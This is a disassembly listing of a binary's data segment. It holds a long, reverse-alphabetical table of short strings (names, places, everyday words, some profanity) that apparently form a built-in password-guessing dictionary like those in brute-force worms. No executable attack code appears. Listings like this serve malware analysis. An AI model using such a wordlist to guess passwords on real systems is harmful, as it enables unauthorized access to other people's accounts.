aKatrina	db 'katrina',0          ; DATA XREF: seg002:0042D040o
aKatina		db 'katina',0           ; DATA XREF: seg002:0042D03Co
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: seg002:0042D038o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:0042D034o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:0042D030o
		align 10h
aKate		db 'kate',0             ; DATA XREF: seg002:0042D02Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:0042D028o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: seg002:0042D024o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:0042D020o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: seg002:0042D01Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:0042D018o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:0042D014o
aJune		db 'june',0             ; DATA XREF: seg002:0042D010o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: seg002:0042D00Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:0042D008o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: seg002:0042D004o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:0042D000o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: seg002:0042CFFCo
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:0042CFF8o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: seg002:0042CFF4o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:0042CFF0o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: seg002:0042CFECo
aJoshua		db 'joshua',0           ; DATA XREF: seg002:0042CFE8o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: seg002:0042CFE4o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:0042CFE0o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:0042CFDCo
aJohn		db 'john',0             ; DATA XREF: seg002:0042CFD8o
		align 10h
aJody		db 'jody',0             ; DATA XREF: seg002:0042CFD4o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:0042CFD0o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: seg002:0042CFCCo
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:0042CFC8o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:0042CFC4o
aJester		db 'jester',0           ; DATA XREF: seg002:0042CFC0o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: seg002:0042CFBCo
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:0042CFB8o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg002:0042CFB4o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg002:0042CFB0o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:0042CFACo
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: seg002:0042CFA8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:0042CFA4o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:0042CFA0o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:0042CF9Co
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: seg002:0042CF98o
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:0042CF94o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:0042CF90o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:0042CF8Co
		align 10h
aJanie		db 'janie',0            ; DATA XREF: seg002:0042CF88o
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:0042CF84o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: seg002:0042CF80o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:0042CF7Co
		align 10h
aJail		db 'jail',0             ; DATA XREF: seg002:0042CF78o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:0042CF74o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: seg002:0042CF70o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:0042CF6Co
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg002:0042CF68o
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg002:0042CF64o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg002:0042CF60o
aInside		db 'inside',0           ; DATA XREF: seg002:0042CF5Co
		align 4
aInput		db 'input',0            ; DATA XREF: seg002:0042CF58o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:0042CF54o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:0042CF50o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:0042CF4Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:0042CF48o
aIngres		db 'ingres',0           ; DATA XREF: seg002:0042CF44o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:0042CF40o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:0042CF3Co
aIndian		db 'indian',0           ; DATA XREF: seg002:0042CF38o
		align 10h
aIndia		db 'india',0            ; DATA XREF: seg002:0042CF34o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:0042CF30o
aImperial	db 'imperial',0         ; DATA XREF: seg002:0042CF2Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg002:0042CF28o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:0042CF24o
		align 4
aImage		db 'image',0            ; DATA XREF: seg002:0042CF20o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg002:0042CF1Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:0042CF18o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:0042CF14o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: seg002:0042CF10o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:0042CF0Co
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:0042CF08o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: seg002:0042CF04o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:0042CF00o
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: seg002:0042CEFCo
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:0042CEF8o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:0042CEF4o
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:0042CEF0o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: seg002:0042CEECo
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:0042CEE8o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: seg002:0042CEE4o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:0042CEE0o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg002:0042CEDCo
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg002:0042CED8o
aHooker		db 'hooker',0           ; DATA XREF: seg002:0042CED4o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg002:0042CED0o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg002:0042CECCo
		align 10h
aHomer		db 'homer',0            ; DATA XREF: seg002:0042CEC8o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:0042CEC4o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:0042CEC0o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: seg002:0042CEBCo
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:0042CEB8o
		align 10h
aHits		db 'hits',0             ; DATA XREF: seg002:0042CEB4o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:0042CEB0o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: seg002:0042CEACo
		align 4
aHigh		db 'high',0             ; DATA XREF: seg002:0042CEA8o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg002:0042CEA4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:0042CEA0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:0042CE9Co
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:0042CE98o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:0042CE94o
aHeroin		db 'heroin',0           ; DATA XREF: seg002:0042CE90o
		align 10h
aHero		db 'hero',0             ; DATA XREF: seg002:0042CE8Co
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:0042CE88o
aHerb		db 'herb',0             ; DATA XREF: seg002:0042CE84o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:0042CE80o
		align 10h
aHello		db 'hello',0            ; DATA XREF: seg002:0042CE7Co
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:0042CE78o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:0042CE74o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg002:0042CE70o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:0042CE6Co
		align 10h
aHeather	db 'heather',0          ; DATA XREF: seg002:0042CE68o
aHeathen	db 'heathen',0          ; DATA XREF: seg002:0042CE64o
aHeat		db 'heat',0             ; DATA XREF: seg002:0042CE60o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:0042CE5Co
		align 4
aHead		db 'head',0             ; DATA XREF: seg002:0042CE58o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:0042CE54o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg002:0042CE50o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg002:0042CE4Co
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg002:0042CE48o
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg002:0042CE44o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg002:0042CE40o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:0042CE3Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:0042CE38o
		align 4
aHard		db 'hard',0             ; DATA XREF: seg002:0042CE34o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg002:0042CE30o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:0042CE2Co
aHandily	db 'handily',0          ; DATA XREF: seg002:0042CE28o
aHandel		db 'handel',0           ; DATA XREF: seg002:0042CE24o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: seg002:0042CE20o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:0042CE1Co
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:0042CE18o
		align 4
aHair		db 'hair',0             ; DATA XREF: seg002:0042CE14o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg002:0042CE10o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg002:0042CE0Co
		align 4
aHack		db 'hack',0             ; DATA XREF: seg002:0042CE08o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg002:0042CE04o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg002:0042CE00o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: seg002:0042CDFCo
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:0042CDF8o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: seg002:0042CDF4o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:0042CDF0o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:0042CDECo
aGroup		db 'group',0            ; DATA XREF: seg002:0042CDE8o
		align 4
aGreen		db 'green',0            ; DATA XREF: seg002:0042CDE4o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg002:0042CDE0o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg002:0042CDDCo
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg002:0042CDD8o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg002:0042CDD4o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg002:0042CDD0o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg002:0042CDCCo
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg002:0042CDC8o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:0042CDC4o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: seg002:0042CDC0o
aGorges		db 'gorges',0           ; DATA XREF: seg002:0042CDBCo
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:0042CDB8o
		align 4
aGood		db 'good',0             ; DATA XREF: seg002:0042CDB4o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg002:0042CDB0o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg002:0042CDACo
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg002:0042CDA8o
		align 4
aGold		db 'gold',0             ; DATA XREF: seg002:0042CDA4o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg002:0042CDA0o
aGirl		db 'girl',0             ; DATA XREF: seg002:0042CD9Co
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg002:0042CD98o
		align 4
aGina		db 'gina',0             ; DATA XREF: seg002:0042CD94o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:0042CD90o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: seg002:0042CD8Co
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:0042CD88o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:0042CD84o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg002:0042CD80o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:0042CD7Co
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg002:0042CD78o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg002:0042CD74o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:0042CD70o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:0042CD6Co
aGarfield	db 'garfield',0         ; DATA XREF: seg002:0042CD68o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg002:0042CD64o
aGames		db 'games',0            ; DATA XREF: seg002:0042CD60o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg002:0042CD5Co
aFungible	db 'fungible',0         ; DATA XREF: seg002:0042CD58o
		align 10h
aFunction	db 'function',0         ; DATA XREF: seg002:0042CD54o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg002:0042CD50o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:0042CD4Co
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:0042CD48o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg002:0042CD44o
aFucker		db 'fucker',0           ; DATA XREF: seg002:0042CD40o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:0042CD3Co
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:0042CD38o
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg002:0042CD34o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg002:0042CD30o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:0042CD2Co
aFriend		db 'friend',0           ; DATA XREF: seg002:0042CD28o
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:0042CD24o
		align 10h
aFrench		db 'french',0           ; DATA XREF: seg002:0042CD20o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg002:0042CD1Co
aFree		db 'free',0             ; DATA XREF: seg002:0042CD18o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:0042CD14o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: seg002:0042CD10o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:0042CD0Co
		align 10h
aFrance		db 'france',0           ; DATA XREF: seg002:0042CD08o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:0042CD04o
aFourier	db 'fourier',0          ; DATA XREF: seg002:0042CD00o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:0042CCFCo
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:0042CCF8o
		align 10h
aFormat		db 'format',0           ; DATA XREF: seg002:0042CCF4o
		align 4
aForm		db 'form',0             ; DATA XREF: seg002:0042CCF0o
		align 10h
aForever	db 'forever',0          ; DATA XREF: seg002:0042CCECo
aForesigh	db 'foresigh',0         ; DATA XREF: seg002:0042CCE8o
		align 4
aFord		db 'ford',0             ; DATA XREF: seg002:0042CCE4o
		align 4
aForce		db 'force',0            ; DATA XREF: seg002:0042CCE0o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg002:0042CCDCo
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:0042CCD8o
		align 4
aFool		db 'fool',0             ; DATA XREF: seg002:0042CCD4o
		align 4
aFood		db 'food',0             ; DATA XREF: seg002:0042CCD0o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg002:0042CCCCo
aFlower		db 'flower',0           ; DATA XREF: seg002:0042CCC8o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg002:0042CCC4o
aFloat		db 'float',0            ; DATA XREF: seg002:0042CCC0o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg002:0042CCBCo
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg002:0042CCB8o
aFirewall	db 'firewall',0         ; DATA XREF: seg002:0042CCB4o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg002:0042CCB0o
		align 10h
aFinite		db 'finite',0           ; DATA XREF: seg002:0042CCACo
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:0040EB48o
					; seg000:0040EBBEo ...
		align 10h
aFight		db 'fight',0            ; DATA XREF: seg002:0042CCA4o
		align 4
aField		db 'field',0            ; DATA XREF: seg002:0042CCA0o
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: seg002:0042CC9Co
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg002:0042CC98o
aFermat		db 'fermat',0           ; DATA XREF: seg002:0042CC94o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg002:0042CC90o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg002:0042CC8Co
aFeds		db 'feds',0             ; DATA XREF: seg002:0042CC88o
		align 4
aFear		db 'fear',0             ; DATA XREF: seg002:0042CC84o
		align 4
aFast		db 'fast',0             ; DATA XREF: seg002:0042CC80o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg002:0042CC7Co
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg002:0042CC78o
aFarad		db 'farad',0            ; DATA XREF: seg002:0042CC74o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg002:0042CC70o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg002:0042CC6Co
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg002:0042CC68o
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg002:0042CC64o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg002:0042CC60o
aExtensio	db 'extensio',0         ; DATA XREF: seg002:0042CC5Co
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:0042CC58o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg002:0042CC54o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg002:0042CC50o
aExplode	db 'explode',0          ; DATA XREF: seg002:0042CC4Co
aExpert		db 'expert',0           ; DATA XREF: seg002:0042CC48o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:0042CC44o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg002:0042CC40o
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: seg002:0042CC3Co
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg002:0042CC38o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg002:0042CC34o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:0042CC30o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:0042CC2Co
		align 10h
aErin		db 'erin',0             ; DATA XREF: seg002:0042CC28o
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:0042CC24o
		align 10h
aErica		db 'erica',0            ; DATA XREF: seg002:0042CC20o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:0042CC1Co
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: seg002:0042CC18o
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:0042CC14o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:0042CC10o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg002:0042CC0Co
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg002:0042CC08o
aEngland	db 'england',0          ; DATA XREF: seg002:0042CC04o
aEngineer	db 'engineer',0         ; DATA XREF: seg002:0042CC00o
		align 10h
aEngine		db 'engine',0           ; DATA XREF: seg002:0042CBFCo
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:0042CBF8o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:0042CBF4o
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg002:0042CBF0o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg002:0042CBECo
aEmail		db 'email',0            ; DATA XREF: seg002:0042CBE8o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg002:0042CBE4o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:0042CBE0o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:0042CBDCo
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg002:0042CBD8o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: seg002:0042CBD4o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:0042CBD0o
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: seg002:0042CBCCo
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:0042CBC8o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:0042CBC4o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:0042CBC0o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg002:0042CBBCo
aEdwina		db 'edwina',0           ; DATA XREF: seg002:0042CBB8o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg002:0042CBB4o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg002:0042CBB0o
		align 10h
aEducation	db 'education',0        ; DATA XREF: seg002:0042CBACo
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg002:0042CBA8o
aEdit		db 'edit',0             ; DATA XREF: seg002:0042CBA4o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:0042CBA0o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:0042CB9Co
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: seg002:0042CB98o
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:0042CB94o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: seg002:0042CB90o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:0042CB8Co
		align 10h
aEasier		db 'easier',0           ; DATA XREF: seg002:0042CB88o
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:0042CB84o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: seg002:0042CB80o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:0042CB7Co
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: seg002:0042CB78o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:0042CB74o
aDuncan		db 'duncan',0           ; DATA XREF: seg002:0042CB70o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:0042CB6Co
		align 10h
aDuke		db 'duke',0             ; DATA XREF: seg002:0042CB68o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:0042CB64o
aDude		db 'dude',0             ; DATA XREF: seg002:0042CB60o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:0042CB5Co
		align 10h
aDrought	db 'drought',0          ; DATA XREF: seg002:0042CB58o
aDrive		db 'drive',0            ; DATA XREF: seg002:0042CB54o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:0042CB50o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:0042CB4Co
		align 10h
aDownload	db 'download',0         ; DATA XREF: seg002:0042CB48o
		align 4
aDope		db 'dope',0             ; DATA XREF: seg002:0042CB44o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg002:0042CB40o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg002:0042CB3Co
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:0042CB38o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:0042CB34o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg002:0042CB30o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg002:0042CB2Co
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg002:0042CB28o
		align 4
aDong		db 'dong',0             ; DATA XREF: seg002:0042CB24o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg002:0042CB20o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg002:0042CB1Co
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg002:0042CB18o
aDisney		db 'disney',0           ; DATA XREF: seg002:0042CB14o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg002:0042CB10o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:0042CB0Co
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: seg002:0042CB08o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg002:0042CB04o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:0042CB00o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg002:0042CAFCo
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg002:0042CAF8o
		align 4
aDirector	db 'director',0         ; DATA XREF: seg002:0042CAF4o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: seg002:0042CAF0o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:0042CAECo
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:0042CAE8o
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg002:0042CAE4o
aDieter		db 'dieter',0           ; DATA XREF: seg002:0042CAE0o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg002:0042CADCo
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg002:0042CAD8o
aDick		db 'dick',0             ; DATA XREF: seg002:0042CAD4o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg002:0042CAD0o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg002:0042CACCo
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg002:0042CAC8o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg002:0042CAC4o
aDial		db 'dial',0             ; DATA XREF: seg002:0042CAC0o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg002:0042CABCo
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg002:0042CAB8o
aDesperat	db 'desperat',0         ; DATA XREF: seg002:0042CAB4o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:0042CAB0o
aDesk		db 'desk',0             ; DATA XREF: seg002:0042CAACo
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:0042CAA8o
aDennis		db 'dennis',0           ; DATA XREF: seg002:0042CAA4o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:0042CAA0o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:0042CA9Co
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg002:0042CA98o
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg002:0042CA94o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg002:0042CA90o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:0042CA8Co
aDeck		db 'deck',0             ; DATA XREF: seg002:0042CA84o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg002:0042CA80o
		align 10h
aDebug		db 'debug',0            ; DATA XREF: seg002:0042CA7Co
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:0042CA78o
aDebbie		db 'debbie',0           ; DATA XREF: seg002:0042CA74o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:0042CA70o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg002:0042CA6Co
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg002:0042CA68o
		align 4
aDave		db 'dave',0             ; DATA XREF: seg002:0042CA64o
		align 4
aData		db 'data',0             ; DATA XREF: seg002:0042CA60o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:0042CA5Co
		align 10h
aDark		db 'dark',0             ; DATA XREF: seg002:0042CA58o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:0042CA54o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: seg002:0042CA50o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:0042CA4Co
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg002:0042CA48o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg002:0042CA44o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg002:0042CA40o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg002:0042CA3Co
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg002:0042CA38o
		align 4
